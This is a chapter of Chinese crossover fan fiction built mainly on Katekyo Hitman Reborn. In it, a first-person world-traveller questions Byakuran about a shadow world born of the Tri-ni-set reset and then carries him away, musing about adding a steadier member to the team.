7^3石板重启需要三种火焰同时驱动,白花花当时很可能也参与其中。在那之后,世界重启回溯到十年前,如今的时间节点是在“十年前”后的又五年。 这五年里究竟发生了什么并不在我的记忆之中,或许剧情还是按照原本的剧情行进了下去,直到其正式完结在了过去的某个时间点。 如此说来,那现在眼前的人,究竟算是十年前的白花花,还是十年后的白花花? “太慢了吧——!”不等我想出答案,白花花拖长了音调,奔向了我,“这里无聊过头了,即使有些新鲜的东西,也会很快结束,归于平静——和‘外面’相比,这样短暂的起伏和长久的平静,可太无聊了。” 他还真是个冒险家。 白花花+卷王系统,完全可以平替我的作用,如果可以的话,穿越这种工作,交给这样酷爱未知的冒险家可太好了。 至少,可以和我双线开工。 虽然并不信奉干涉主义,但在很多次的穿越里我意识到了——几乎不存在没有漏洞的世界。有漏洞本身并不可怕,可怕的是这个漏洞被某个人意外、不意外地触动。 就像这个世界的卷王,一步之遥就可能会突破次元壁,影响到现实世界。 如果没有2.5的穿越司挡那一下,后果不堪设想。 有类似的情况,自然就需要干涉。 但总觉得,卷王和白花花两个人配在一起早晚会出事。 要去哪里薅一个循规蹈矩的妈咪角色来牵制他们的性格呢? 我甩开那些可以延后考虑的问题,看着白花花,疑虑着那个最新产生的平行世界。 两个世界可是在不断靠近的,世界相撞的话,真是字面意义上的地球会爆炸。 在伽卡菲斯的注视下,我揪过白花花的衣领,严肃询问这件事,是不是他搞的鬼。 “诶——怎么能怀疑我!”白花花一脸控诉。 我翻了个白眼,大哥,要不要看看你的前科,我不怀疑你怀疑谁? “没有玛雷指环的话,就算是我也只能感知,而不具有干涉平行世界的能力。”白花花眼睛虚焦,大概是也注意到了伽卡菲斯的视线,猜到了伽卡菲斯的存在。但他的注意并没有放在伽卡菲斯的方向多久,很快就转回了我身上,“在那之后,我可一次都没有碰过玛雷指环!” 不是他吗? 那会是谁? 伽卡菲斯吗? 不对,伽卡菲斯可不是做这种没有意义,甚至还有害于世界的事。 “噗——” 看着我拧紧的眉头,白花花没有憋住,捂着嘴笑了出来。 我顿时无语—— 耍我玩?我就知道和你这个浓眉大眼的脱不了关系! 他马上举起双手,“别误会,真不是我做的!我只是笑你当局者迷,明明连……‘祂’的身份都能轻易看出来,怎么现在反倒犯了糊涂。” 我犯糊涂了吗? 我可是亲眼看到了那个世界的产生,然后看着两个世界不断靠近,直到相切之时,我才穿过那个相切的点,进入了世界之内。 ……等等,相互靠近的世界、相互连接的世界、相切的点,还有现在所处的这个‘五年’的时间点。 我抬眼,有些不确定地开口,“是重启前后的世界?” 卷王说过的,如果把重启的时间点定在十年前直接重启,那么“十年前”往后的所有世界线都会刷新,也即,十年后的世界将不复存在。 想要同时保护两个时间点,自然就会产生一个重启的世界和一个没有重启的影子世界。 这是和平行世界不一样的概念,主体和影子并不平行,而是相互连接,前后影响着同一时间轴。 “Bingo!”白花花打了个响指,冲我wink了一下,“新的世界和旧的世界,过去的世界和未来的世界,不管哪一个,都是这个世界。没有特殊火焰的影响,没有特殊体质的介入,二者总有一天会重新重合在一起,连接成一个既拥有过去,也拥有未来的完整的世界。” 十年前和十年后这两个世界靠近的“中点”——也即相切点——不正是现在所处的第五年吗? 以五年的时间为相切点,十年前的世界会逐渐成为十年后的过去,十年后的世界也会成为十年前的未来。 我转头,看着仿佛空无一人的背后,那种如有实质的视线放松下来。 在7^3齐全、7^3「适格者」也齐全的情况下,伽卡菲斯插手果然不是没有理由的。 白花花眼里的笑意不减,等不及地抓起了我的手,在黑屏的手环上戳来戳去。白色的短发被晒得有些发卷,邪恶摇粒绒本质突然上线,他抠着手环被红色填满的裂痕,指缝里染了血,似乎想要一窥究竟。 我狠狠收回了手。 别弄坏了啊,弄坏了就都别走了! “跳脱。”我吐槽了一句后,突然意识到,算上我在内,家里的黑泥和乐子含量好像有点高过头了! 我的眼神瞬间严肃,意识到家里着实需要一个除基友之外的,稳重的人。 现在的成员里,竟然连甚尔都能称得上一句稳重了吗!? “果然还是不能放弃当初盯上的安吾君。”我小声地BB了一句。 “嗯?”白花花靠近过来,先前的无聊让他不想放弃任何依据我说的话,尤其是这种明显压低了声音、不想让他听的话。 为了防止白花花真给我整出什么大活,延后时间,我反手一勾,不多废话会直接将他扛到肩膀上。在伽卡菲斯始终不消的视线中,果断再次穿过了那个“点”。 在时空乱流中最后回望这个世界,世界和“影子”果然已经大半重合在了一起——在混乱的乱流中,这个世界很快会归于稳定。 和这个世界相比,不稳定的果然还是穿越司的成员结构! 我掂了掂肩膀上的白花花,想着那个被宰子和织田作套牢的安吾,觉得下次,完全可以试试看卷王系统和冒险家白花花这对组合的穿越花活。 而我的话——终于也可以安心准备一次没有意外的漫展了……吧? 大概?